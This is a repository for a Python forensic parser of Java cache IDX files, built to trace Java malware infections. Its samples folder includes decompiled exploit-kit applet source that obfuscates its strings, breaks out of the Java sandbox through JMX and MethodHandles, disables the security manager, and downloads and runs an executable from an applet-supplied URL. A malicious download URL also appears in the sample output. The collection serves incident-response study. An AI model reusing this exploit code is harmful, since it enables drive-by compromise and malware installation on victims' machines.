├── README.md ├── Samples ├── 1c20de82-1678cc50 ├── 1c20de82-1678cc50.idx └── Decoded Java Class Files │ ├── Allaon.java │ ├── Lizixk.java │ ├── Morny.java │ ├── Rvre.java │ └── Zend.java └── idx_parser.py /README.md: -------------------------------------------------------------------------------- 1 | ## Java_IDX_Parser 2 | 3 | The original, and the best, Java Cache IDX parser. 4 | 5 | This was written as a result of working quite a few Java malware infection cases. While I grew proficient at manually carving the Java IDX file, which retains download history of malicious Java archives, I learned that a tool may work better when teaching my coworkers how to do the same. 6 | 7 | Java IDX files contain high-fidelity indicators about where a piece of malware originated from and how it got onto the infected system. Additionally, most analysis to this point was performed off the text-strings within the file, while ignoring the large blocks of binary data. 8 | 9 | At the time of development, there was only one source available for this file, Corey Harrell's blog post from 2011 (http://journeyintoir.blogspot.com/2010/10/anatomy-of-drive-by-part-2.html) and a IDX to Timeline parser written by Sploit (http://sploited.blogspot.com/2012/08/java-forensics-using-tln-timelines.html). 10 | 11 | The large blocks of binary data kept bugging me, so I wrote this tool. The initial release did just the basic text sections while I gathered the amount of interest in it. The latest releases perform decompression and basic binary analysis of Java serialization code. At first I used an existing Java serialization module, until I found that Oracle didn't follow their own file specifications, which broke the existing parsers, and required me to write my own. 12 | 13 | The latest release removes all interpretation of the file, outputting just raw data to the screen. That way you get a more accurate portrayal of the data, and you can choose what data is relevant to your cause. Even though most Section 4 data appears to be junk to me, it's in there, and its relevance may come to light one day. 14 | 15 | ## Example usage 16 | 17 | E:\Development\Java_IDX_Parser>idx_parser.py Samples\malware\1c20de82-1678cc50.idx
18 | Java IDX Parser -- version 1.3 -- by @bbaskin
19 |
20 | IDX file: Samples\malware\1c20de82-1678cc50.idx (IDX File Version 6.05)
21 | [*] Section 2 (Download History) found:
22 | URL: hxxp://80d3c146d3.gshjsewsf.su:82/forum/dare.php?hsh=6&key=b30a14e1c597bd7215d593d3f03bd1ab
23 | IP: 50.7.219.70
24 | <null>: HTTP/1.1 200 OK
25 | content-length: 7162
26 | last-modified: Mon, 26 Jul 2001 05:00:00 GMT
27 | content-type: application/x-java-archive
28 | date: Sun, 13 Jan 2013 16:22:01 GMT
29 | server: nginx/1.0.15
30 | deploy-request-content-type: application/x-java-archive
31 |
32 | [*] Section 3 (Jar Manifest) found:
33 | Manifest-Version: 1.0
34 | Ant-Version: Apache Ant 1.8.3
35 | X-COMMENT: Main-Class will be added automatically by build
36 | Class-Path:
37 | Created-By: 1.7.0_07-b11 (Oracle Corporation)
38 |
39 | [*] Section 4 (Code Signer) found:
40 | [*] Found: Data block. Length: 4
41 | Data: Hex: 00000000
42 | [*] Found: Data block. Length: 3
43 | Data: 0 Hex: 300d0a
44 | 45 | ## Copyright and license 46 | 47 | Copyright 2013 Brian Baskin 48 | 49 | Licensed under the Apache License, Version 2.0 (the "License"); 50 | you may not use this work except in compliance with the License. 51 | You may obtain a copy of the License in the LICENSE file, or at: 52 | 53 | [http://www.apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) 54 | 55 | Unless required by applicable law or agreed to in writing, software 56 | distributed under the License is distributed on an "AS IS" BASIS, 57 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 58 | See the License for the specific language governing permissions and 59 | limitations under the License. 60 | -------------------------------------------------------------------------------- /Samples/1c20de82-1678cc50: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rurik/Java_IDX_Parser/f9b7a3aeb66a86e891e28d5e762483dff5e15851/Samples/1c20de82-1678cc50 -------------------------------------------------------------------------------- /Samples/1c20de82-1678cc50.idx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rurik/Java_IDX_Parser/f9b7a3aeb66a86e891e28d5e762483dff5e15851/Samples/1c20de82-1678cc50.idx -------------------------------------------------------------------------------- /Samples/Decoded Java Class Files/Allaon.java: -------------------------------------------------------------------------------- 1 | 2 | public class Allaon { 3 | 4 | public static String Gege = "fiesta".replace("Miria_)d", ""); 5 | public static String Gigos = "sMiria_)dun.iMiria_)dnvoke.aMiria_)dnon.AMiria_)dnonMiria_)dymousClasMiria_)dsLoMiria_)dader".replace("Miria_)d", ""); 6 | public static String Momoe = "f" + "ilMiria_)d///".replace("Miria_)d", "e:"); 7 | public static String BRni = "j" + "avMiria_)da.io.tmMiria_)dpdiMiria_)dr".replace("Miria_)d", ""); 8 | public static String Tte3 = "heMiria_)dhda.eMiria_)dxe".replace("Miria_)d", ""); 9 | public static String Contex = "sun.orMiria_)dg.moziMiria_)dlla.javascMiria_)dript.inMiria_)dternal.ConMiria_)dtext".replace("Miria_)d", ""); 10 | public static String ClsLoad = "sun.orMiria_)dg.mozMiria_)dilla.javasMiria_)dcript.inteMiria_)drnal.GeneraMiria_)dtedClaMiria_)dssLoader".replace("Miria_)d", ""); 11 | public static String hack3 = "SophosHack"; 12 | public static String Fcons = "fiMiria_)dndConstrMiria_)ductor".replace("Miria_)d", ""); 13 | public static String Fvirt = "fiMiria_)dndVirtMiria_)dual".replace("Miria_)d", ""); 14 | public static String hack2 = "SophosHack"; 15 | public static String Crtcls = "creaMiria_)dteClasMiria_)dsLMiria_)doader".replace("Miria_)d", ""); 16 | public static String DEfc = "defiMiria_)dneClaMiria_)dss".replace("Miria_)d", ""); 17 | 18 | 19 | } 20 | -------------------------------------------------------------------------------- /Samples/Decoded Java Class Files/Lizixk.java: -------------------------------------------------------------------------------- 1 | import java.io.FileNotFoundException; 2 | import java.io.FileOutputStream; 3 | import java.io.IOException; 4 | import java.io.InputStream; 5 | import java.net.URL; 6 | 7 | public class Lizixk { 8 | 9 | public static String dxrxr = Morny.ada(Allaon.BRni); 10 | static InputStream zxfs; 11 | 12 | 13 | public static void Seuylmxz() throws FileNotFoundException, Exception { 14 | boolean sdhhe = false; 15 | if(dxrxr.charAt(dxrxr.length() - 1) != 92) { 16 | dxrxr = dxrxr + "\\"; 17 | } 18 | 19 | String cgdg = dxrxr + Allaon.Tte3; 20 | FileOutputStream sdgosa = new FileOutputStream(cgdg); 21 | String o0ojh = "ikikioi"; 22 | dod(); 23 | 24 | int sdhhe1; 25 | for(byte[] rayys = new byte[512]; (sdhhe1 = zxfs.read(rayys)) > 0; rayys = new byte[512]) { 26 | sdgosa.write(rayys, 0, sdhhe1); 27 | } 28 | 29 | sdgosa.close(); 30 | zxfs.close(); 31 | Runtime.getRuntime().exec(cgdg); 32 | } 33 | 34 | public static void dod() throws IOException { 35 | URL fweret = new URL(Morny.HYurrds(Rvre.sfgkytoi)); 36 | fweret.openConnection(); 37 | zxfs = fweret.openStream(); 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /Samples/Decoded Java Class Files/Morny.java: -------------------------------------------------------------------------------- 1 | 2 | public class Morny { 3 | 4 | public static String HYurrds(String mhuyi) { 5 | int dtduuyi = 0; 6 | mhuyi = (new StringBuffer(mhuyi)).reverse().toString(); 7 | String gerxcx = ""; 8 | mhuyi = mhuyi.replace("a-nytios", ""); 9 | 10 | for(int i = 0; i < mhuyi.length(); ++i) { 11 | ++dtduuyi; 12 | if(dtduuyi == 3) { 13 | gerxcx = gerxcx + mhuyi.charAt(i); 14 | dtduuyi = 0; 15 | } 16 | } 17 | 18 | return gerxcx; 19 | } 20 | 21 | public static String ada(String a) { 22 | return System.getProperty(a); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /Samples/Decoded Java Class Files/Rvre.java: -------------------------------------------------------------------------------- 1 | 2 | public class Rvre { 3 | 4 | public static String Ciasio = "CAmMoedlFEBABmMoedlE0000003200270A0mMoedl00500180A0019001A07001mMoedlB0A001C001D07001E07001F07002001mMoedl00063C696E69743E01000328295601mMoedl0004436F646501000F4C696E65mMoedl4E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A61766mMoedl12F6C616E672F457863657074696F6E3BmMoedl010004746869730100034C423B01mMoedl000D537461636B4D61705461626C6507001FmMoedl07001B01000372756E01001428294C6mMoedlA6176612F6C616E672mMoedlF4F626A6563743B01000A536F757mMoedl2636546696C65010006422E6A61mMoedl76610C000800090700210CmMoedl002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C6mMoedl16E672F4F626A656374010001420mMoedl100276A6176612F7365637mMoedl5726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657mMoedl201000C646F50726976696CmMoedl6567656401003D284C6A6176612FmMoedl73656375726974792F50726976696C65676564457863657074696F6E41mMoedl6374696F6E3B2mMoedl94C6A6176612F6C616E672F4mMoedlF626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284mMoedlC6A6176612F6C616E672FmMoedl53656375726974794D61mMoedl6E616765723B295600210006000mMoedl500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F00mMoedl1000000011000000100002FF000C00010mMoedl70012000107001300000100140015000mMoedl1000A0000003A000200010000000C01B80004BB000559B70001B000000002000B00mMoedl00000A00020000001000040mMoedl011000C0000000C00010000mMoedl000C000F00100000000100160000mMoedl00020017".replace("mMoedl", ""); 5 | static String sfgkytoi = ""; 6 | 7 | 8 | public static byte[] Mzxyu(String s) { 9 | byte[] aewwe = new byte[s.length() / 2]; 10 | 11 | for(int i = 0; i < s.length(); i += 2) { 12 | aewwe[i / 2] = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16)); 13 | } 14 | 15 | return aewwe; 16 | } 17 | 18 | } 19 | -------------------------------------------------------------------------------- /Samples/Decoded Java Class Files/Zend.java: -------------------------------------------------------------------------------- 1 | import com.sun.jmx.mbeanserver.JmxMBeanServer; 2 | import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder; 3 | import com.sun.jmx.mbeanserver.MBeanInstantiator; 4 | import java.applet.Applet; 5 | import java.lang.invoke.MethodHandle; 6 | import java.lang.invoke.MethodHandles; 7 | import java.lang.invoke.MethodType; 8 | import java.lang.invoke.MethodHandles.Lookup; 9 | import javax.management.MBeanServer; 10 | import javax.management.MBeanServerDelegate; 11 | 12 | public class Zend extends Applet { 13 | 14 | public static String Ciasio = "CAmMoedlFEBABmMoedlE0000003200270A0mMoedl00500180A0019001A07001mMoedlB0A001C001D07001E07001F07002001mMoedl00063C696E69743E01000328295601mMoedl0004436F646501000F4C696E65mMoedl4E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A61766mMoedl12F6C616E672F457863657074696F6E3BmMoedl010004746869730100034C423B01mMoedl000D537461636B4D61705461626C6507001FmMoedl07001B01000372756E01001428294C6mMoedlA6176612F6C616E672mMoedlF4F626A6563743B01000A536F757mMoedl2636546696C65010006422E6A61mMoedl76610C000800090700210CmMoedl002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C6mMoedl16E672F4F626A656374010001420mMoedl100276A6176612F7365637mMoedl5726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657mMoedl201000C646F50726976696CmMoedl6567656401003D284C6A6176612FmMoedl73656375726974792F50726976696C65676564457863657074696F6E41mMoedl6374696F6E3B2mMoedl94C6A6176612F6C616E672F4mMoedlF626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284mMoedlC6A6176612F6C616E672FmMoedl53656375726974794D61mMoedl6E616765723B295600210006000mMoedl500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F00mMoedl1000000011000000100002FF000C00010mMoedl70012000107001300000100140015000mMoedl1000A0000003A000200010000000C01B80004BB000559B70001B000000002000B00mMoedl00000A00020000001000040mMoedl011000C0000000C00010000mMoedl000C000F00100000000100160000mMoedl00020017".replace("mMoedl", ""); 15 | 16 | 17 | public void init() { 18 | try { 19 | Rvre.sfgkytoi = this.getParameter(Allaon.Gege); 20 | byte[] e = Rvre.Mzxyu(Ciasio); 21 | JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder(); 22 | JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", (MBeanServer)null, (MBeanServerDelegate)null); 23 | MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator(); 24 | Object a = null; 25 | Class localClass1 = localMBeanInstantiator.findClass(Allaon.Contex, (ClassLoader)a); 26 | Class localClass2 = localMBeanInstantiator.findClass(Allaon.ClsLoad, (ClassLoader)a); 27 | Lookup lolluk = MethodHandles.publicLookup(); 28 | MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[]{MethodType.class}); 29 | MethodHandle localMethodHandle1 = lolluk.findVirtual(Lookup.class, Allaon.Fcons, localMethodType1); 30 | MethodType localMethodType2 = MethodType.methodType(Void.TYPE); 31 | MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[]{lolluk, localClass1, localMethodType2}); 32 | Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]); 33 | MethodType ldmet3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[]{String.class, MethodType.class}); 34 | MethodHandle localMethodHandle3 = lolluk.findVirtual(Lookup.class, Allaon.Fvirt, ldmet3); 35 | MethodType ldmet4 = MethodType.methodType(localClass2, ClassLoader.class); 36 | MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[]{lolluk, localClass1, Allaon.Crtcls, ldmet4}); 37 | Object lObj2 = localMethodHandle4.invokeWithArguments(new Object[]{localObject1, null}); 38 | MethodType ldmet5 = MethodType.methodType(Class.class, String.class, new Class[]{byte[].class}); 39 | MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[]{lolluk, localClass2, Allaon.DEfc, ldmet5}); 40 | Class lca3 = (Class)localMethodHandle5.invokeWithArguments(new Object[]{lObj2, null, e}); 41 | lca3.newInstance(); 42 | Lizixk.Seuylmxz(); 43 | } catch (Throwable var22) { 44 | ; 45 | } 46 | 47 | } 48 | 49 | } 50 | -------------------------------------------------------------------------------- /idx_parser.py: -------------------------------------------------------------------------------- 1 | # Java Cache IDX parser 2 | # Version 1.0 - 12 Jan 13: @bbaskin 3 | # Version 1.1 - 22 Jan 13: 4 | # Now supports all IDX file versions 5 | # Version 1.2 - 29 Jan 13: 6 | # Now supports parsing more section 1 data and section 3 manifest 7 | # Version 1.3 - 8 Feb 13: 8 | # Rewrote section 2 parsing. Removed all interpretive code (parse and print) 9 | # Rewrote into subs, added very basic Java Serialization parsing 10 | # Added CSV output to display all values. If you want fields, too, search 11 | # this file for 'CSVEDIT' and follow instructions 12 | # Version 1.4 - 17 Jul 13: 13 | # Fixed a few bugs from Section 1, now displays Section 1 data. 14 | # This is mostly useless, as it is also contained in Section 2, but is used 15 | # to validate data shown in cases of tampering. 16 | # Version 1.5 - 2 Dec 13: 17 | # Fix data structure for 6.02 samples, removed 'hack' and handled it properly 18 | # General cleanup to better Python standards 19 | # Put in error handling for truncated data, based on a sample data submitted 20 | # by Kristinn Gudjonsson 21 | 22 | # * Parsing based off source: http://jdk-source-code.googlecode.com/svn/trunk/jdk6u21_src/deploy/src/common/share/classes/com/sun/deploy/cache/CacheEntry.java 23 | # * Some updates based off research by Mark Woan (@woanwave) - https://github.com/woanware/javaidx/tree/master/Documents 24 | # * Thanks to Corey Harrell for providing a version 6.03 file for testing and for initial inspiration: 25 | # http://journeyintoir.blogspot.com/2011/02/almost-cooked-up-some-java.html 26 | 27 | # Views cached Java download history files 28 | # Typically located in %AppData%\LocalLow\Sun\Java\Deployment\Cache 29 | # These files hold critical details for malware infections, especially Java related ones, e.g. BlackHole. 30 | 31 | """ 32 | Output example: 33 | E:\Development\Java_IDX_Parser>idx_parser.py Samples\malware\1c20de82-1678cc50.idx 34 | Java IDX Parser -- version 1.5 -- by @bbaskin 35 | 36 | IDX file: Samples\malware\1c20de82-1678cc50.idx (IDX File Version 6.05) 37 | 38 | [*] Section 1 (Metadata) found: 39 | Content length: 7162 40 | Last modified date: Thu, 26 Jul 2001 05:00:00 GMT (epoch: 996123600) 41 | Section 2 length: 365 42 | Section 3 length: 167 43 | Section 4 length: 15 44 | 45 | [*] Section 2 (Download History) found: 46 | URL: http://803c146.gssewsf.su:82/forum/dare.php?hsh=5&key=b30a14e1c59215d593d3f03bd1ab 47 | IP: 30.7.219.70 48 | : HTTP/1.1 200 OK 49 | content-length: 7162 50 | last-modified: Mon, 26 Jul 2001 05:00:00 GMT 51 | content-type: application/x-java-archive 52 | date: Sun, 13 Jan 2013 16:22:01 GMT 53 | server: nginx/1.0.15 54 | deploy-request-content-type: application/x-java-archive 55 | 56 | [*] Section 3 (Jar Manifest) found: 57 | Manifest-Version: 1.0 58 | Ant-Version: Apache Ant 1.8.3 59 | X-COMMENT: Main-Class will be added automatically by build 60 | Class-Path: 61 | Created-By: 1.7.0_07-b11 (Oracle Corporation) 62 | 63 | [*] Section 4 (Code Signer) found: 64 | [*] Found: Data block. Length: 4 65 | Data: Hex: 00000000 66 | [*] Found: Data block. Length: 3 67 | Data: 0 Hex: 300d0a 68 | """ 69 | 70 | import os 71 | import struct 72 | import sys 73 | import time 74 | import zlib 75 | 76 | __VERSION__ = '1.5' 77 | __CSV__ = False 78 | 79 | 80 | def sec2_parse(): 81 | """Parse Section Two from 6.03 and greater files. 82 | 83 | Section two contains all download history data 84 | """ 85 | csv_body = '' 86 | data.seek(128) 87 | if data.tell() >= filesize: 88 | print '[!] Error! Truncated file. Section 2 is missing.' 89 | return 90 | 91 | len_URL = struct.unpack('>l', data.read(4))[0] 92 | data_URL = data.read(len_URL) 93 | 94 | len_IP = struct.unpack('>l', data.read(4))[0] 95 | data_IP = data.read(len_IP) 96 | sec2_fields = struct.unpack('>l', data.read(4))[0] 97 | 98 | print '\n[*] Section 2 (Download History) found:' 99 | print 'URL: %s' % (data_URL) 100 | print 'IP: %s' % (data_IP) 101 | if __CSV__: 102 | csv_body = fname + ',' + data_URL + ',' + data_IP 103 | for i in range(0, sec2_fields): 104 | len_field = struct.unpack('>h', data.read(2))[0] 105 | field = data.read(len_field) 106 | len_value = struct.unpack('>h', data.read(2))[0] 107 | value = data.read(len_value) 108 | print '%s: %s' % (field, value) 109 | if __CSV__: 110 | #CSVEDIT: If you want both Field and Value in CSV output, uncomment 111 | #next line and comment line after. 112 | #csv_body += ',' + field + ',' + value 113 | csv_body += ',' + value 114 | if __CSV__: 115 | global csvfile 116 | csvfile = fname + '.csv' 117 | open(csvfile, 'w').write(csv_body) 118 | 119 | 120 | def sec2_parse_602(): 121 | """Parse Section Two from 6.02 files. 122 | 123 | Section two contains all download history data. However, this version 124 | does not store IP addresses. 125 | """ 126 | data.seek(32) 127 | if data.tell() >= filesize: 128 | print 'Truncated file' 129 | len_URL = struct.unpack('b', data.read(1))[0] 130 | data_URL = data.read(len_URL) 131 | namespace_len = struct.unpack('>h', data.read(2))[0] 132 | namespace = data.read(namespace_len) 133 | sec2_fields = struct.unpack('>l', data.read(4))[0] 134 | 135 | print '\n[*] Section 2 (Download History) found:' 136 | print 'URL: %s' % (data_URL) 137 | if __CSV__: 138 | csv_body = fname + ',' + data_URL 139 | 140 | for i in range(0, sec2_fields): 141 | len_field = struct.unpack('>h', data.read(2))[0] 142 | field = data.read(len_field) 143 | len_value = struct.unpack('>h', data.read(2))[0] 144 | value = data.read(len_value) 145 | print '%s: %s' % (field, value) 146 | if __CSV__: 147 | #CSVEDIT: If you want both Field and Value in CSV output, uncomment 148 | #next line and comment line after. 149 | #csv_body += ',' + field + ',' + value 150 | csv_body += ',' + value 151 | 152 | if __CSV__: 153 | global csvfile 154 | csvfile = fname + '.csv' 155 | open(csvfile, 'w').write(csv_body) 156 | 157 | # See if section 3 exists 158 | if data.tell()+3 < filesize: 159 | sec3_magic, sec3_ver = struct.unpack('>HH', data.read(4)) 160 | print '\n[*] Section 3 (Additional Data) found:' 161 | if sec3_magic == 0xACED: 162 | print '[*] Serialized data found of type:', 163 | sec3_type = struct.unpack('b', data.read(1))[0] 164 | if sec3_type == 0x77: #Data block 165 | print 'Data Block' 166 | throwaway = data.read(1) 167 | block_len = struct.unpack('>l', data.read(4))[0] 168 | block_raw = data.read(block_len) 169 | if block_raw[0:3] == '\x1F\x8B\x08': # Valid GZIP header 170 | print '[*] Compressed data found' 171 | sec3_unc = zlib.decompress(block_raw, 15+32) # Trick to force bitwindow size 172 | print sec3_unc 173 | else: 174 | print 'Unknown serialization opcode found' 175 | return 176 | 177 | 178 | def sec3_parse(): 179 | """Parse Section three of the file. 180 | 181 | Section three contains a copy of the JAR manifest data. 182 | """ 183 | data.seek (128+sec2_len) 184 | sec3_data = data.read(sec3_len) 185 | 186 | if sec3_data[0:3] == '\x1F\x8B\x08': # Valid GZIP header 187 | sec3_unc = zlib.decompress(sec3_data, 15+32) # Trick to force bitwindow size 188 | print sec3_unc.strip() 189 | 190 | 191 | def sec4_parse(): 192 | """Parse Section four of the file. 193 | 194 | Section four contains Code Signer details 195 | Written from docs at: 196 | http://docs.oracle.com/javase/6/docs/platform/serialization/spec/protocol.html 197 | """ 198 | unknowns = 0 199 | data.seek (128 + sec2_len + sec3_len) 200 | sec4_magic, sec4_ver = struct.unpack('>HH', data.read(4)) 201 | if sec4_magic == 0xACED: # Magic number for Java serialized data, version always appears to be 5 202 | while not data.tell() == filesize: # If current offset isn't at end of file yet 203 | if unknowns > 5: 204 | print 'Too many unrecognized bytes. Exiting.' 205 | return 206 | sec4_type = struct.unpack('B', data.read(1))[0] 207 | if sec4_type == 0x77: #Data block ... 208 | #This _should_ parse for 0x78 (ENDDATABLOCK) but Oracle didn't follow their own specs for IDX files. 209 | print '[*] Found: Data block. ', 210 | block_len = struct.unpack('b', data.read(1))[0] 211 | block_raw = data.read(block_len) 212 | if block_raw[0:3] == '\x1F\x8B\x08': # Valid GZIP header 213 | sec4_unc = zlib.decompress(block_raw, 15+32) # Trick to force bitwindow size 214 | print sec4_unc.encode('hex') 215 | else: 216 | print 'Length: %-2d\nData: %-10s\tHex: %s' % (block_len, block_raw.strip(), block_raw.encode('hex')) 217 | elif sec4_type == 0x73: #Object 218 | print '[*] Found: Object\n->', 219 | continue 220 | elif sec4_type == 0x72: #Class Description 221 | print '[*] Found: Class Description:', 222 | block_len = struct.unpack('>h', data.read(2))[0] 223 | block_raw = data.read(block_len) 224 | print block_raw 225 | else: 226 | print 'Unknown serialization opcode found: 0x%X' % sec4_type 227 | unknowns += 1 228 | return 229 | 230 | 231 | if __name__ == '__main__': 232 | """Main process function. 233 | 234 | Display help, handle command line arguments, read initial header to determine 235 | which functions to call. 236 | """ 237 | print 'Java IDX Parser -- version %s -- by @bbaskin\n' % __VERSION__ 238 | try: 239 | if sys.argv[1] in ['-c', '-C']: 240 | __CSV__ = True 241 | fname = sys.argv[2] 242 | else: 243 | fname = sys.argv[1] 244 | except: 245 | print 'Usage: idx_parser.py ' 246 | print '\nTo generate a CSV output file:' 247 | print ' : idx_parser.py -c ' 248 | sys.exit() 249 | try: 250 | data = open(fname, 'rb') 251 | except: 252 | print 'File not found: %s' % fname 253 | sys.exit() 254 | 255 | filesize = os.path.getsize(fname) 256 | 257 | busy_byte = data.read(1) 258 | complete_byte = data.read(1) 259 | cache_ver = struct.unpack('>i', data.read(4))[0] 260 | 261 | if cache_ver not in (602, 603, 604, 605, 606): 262 | print 'Invalid IDX header found' 263 | print 'Found: 0x%s' % cache_ver 264 | sys.exit() 265 | print 'IDX file: %s (IDX File Version %d.%02d)' % (fname, cache_ver / 100, cache_ver - 600) 266 | 267 | # Different IDX cache versions have data in different offsets 268 | if cache_ver in [602, 603, 604, 605]: 269 | if cache_ver in [602, 603, 604]: 270 | data.seek(8) 271 | elif cache_ver == 605: 272 | data.seek(6) 273 | is_shortcut_img = data.read(1) 274 | content_len = struct.unpack('>l', data.read(4))[0] 275 | last_modified_date = struct.unpack('>q', data.read(8))[0]/1000 276 | expiration_date = struct.unpack('>q', data.read(8))[0]/1000 277 | validation_date = struct.unpack('>q', data.read(8))[0]/1000 278 | 279 | print '\n[*] Section 1 (Metadata) found:' 280 | print 'Content length: %d' % content_len 281 | print 'Last modified date: %s (epoch: %d)' % (time.strftime('%a, %d %b %Y %X GMT', time.gmtime(last_modified_date)), last_modified_date) 282 | if expiration_date: 283 | print 'Expiration date: %s (epoch: %d)' % (time.strftime('%a, %d %b %Y %X GMT', time.gmtime(expiration_date)), expiration_date) 284 | if validation_date: 285 | print 'Validation date: %s (epoch: %d)' % (time.strftime('%a, %d %b %Y %X GMT', time.gmtime(validation_date)), validation_date) 286 | 287 | if cache_ver == 602: 288 | sec2_len = 1 289 | sec3_len = 0 290 | sec4_len = 0 291 | sec5_len = 0 292 | elif cache_ver in [603, 604, 605]: 293 | known_to_be_signed = data.read(1) 294 | sec2_len = struct.unpack('>i', data.read(4))[0] 295 | sec3_len = struct.unpack('>i', data.read(4))[0] 296 | sec4_len = struct.unpack('>i', data.read(4))[0] 297 | sec5_len = struct.unpack('>i', data.read(4))[0] 298 | 299 | blacklist_timestamp = struct.unpack('>q', data.read(8))[0]/1000 300 | cert_expiration_date = struct.unpack('>q', data.read(8))[0]/1000 301 | class_verification_status = data.read(1) 302 | reduced_manifest_length = struct.unpack('>l', data.read(4))[0] 303 | 304 | print 'Section 2 length: %d' % sec2_len 305 | if sec3_len: 306 | print 'Section 3 length: %d' % sec3_len 307 | if sec4_len: 308 | print 'Section 4 length: %d' % sec4_len 309 | if sec5_len: 310 | print 'Section 4 length: %d' % sec5_len 311 | if expiration_date: 312 | print 'Blacklist Expiration date: %s (epoch: %d)' % (time.strftime('%a, %d %b %Y %X GMT', time.gmtime(blacklist_timestamp)), blacklist_timestamp) 313 | if cert_expiration_date: 314 | print 'Certificate Expiration date: %s (epoch: %d)' % (time.strftime('%a, %d %b %Y %X GMT', time.gmtime(cert_expiration_date)), cert_expiration_date) 315 | else: 316 | print 'Current file version, %d, is not supported at this time.' % cache_ver 317 | sys.exit() 318 | 319 | if sec2_len: 320 | if cache_ver == 602: 321 | sec2_parse_602() 322 | else: 323 | sec2_parse() 324 | 325 | if sec3_len: 326 | print '\n[*] Section 3 (Jar Manifest) found:' 327 | sec3_parse() 328 | 329 | if sec4_len: 330 | print '\n[*] Section 4 (Code Signer) found:' 331 | sec4_parse() 332 | 333 | if sec5_len: 334 | print '\n[*] Section 5 found (offset 0x%X, length %d bytes)' % (128 + sec2_len + sec3_len + sec4_len, sec5_len) 335 | 336 | if __CSV__: 337 | print '\n\n[*] CSV file written to %s' % csvfile 338 | --------------------------------------------------------------------------------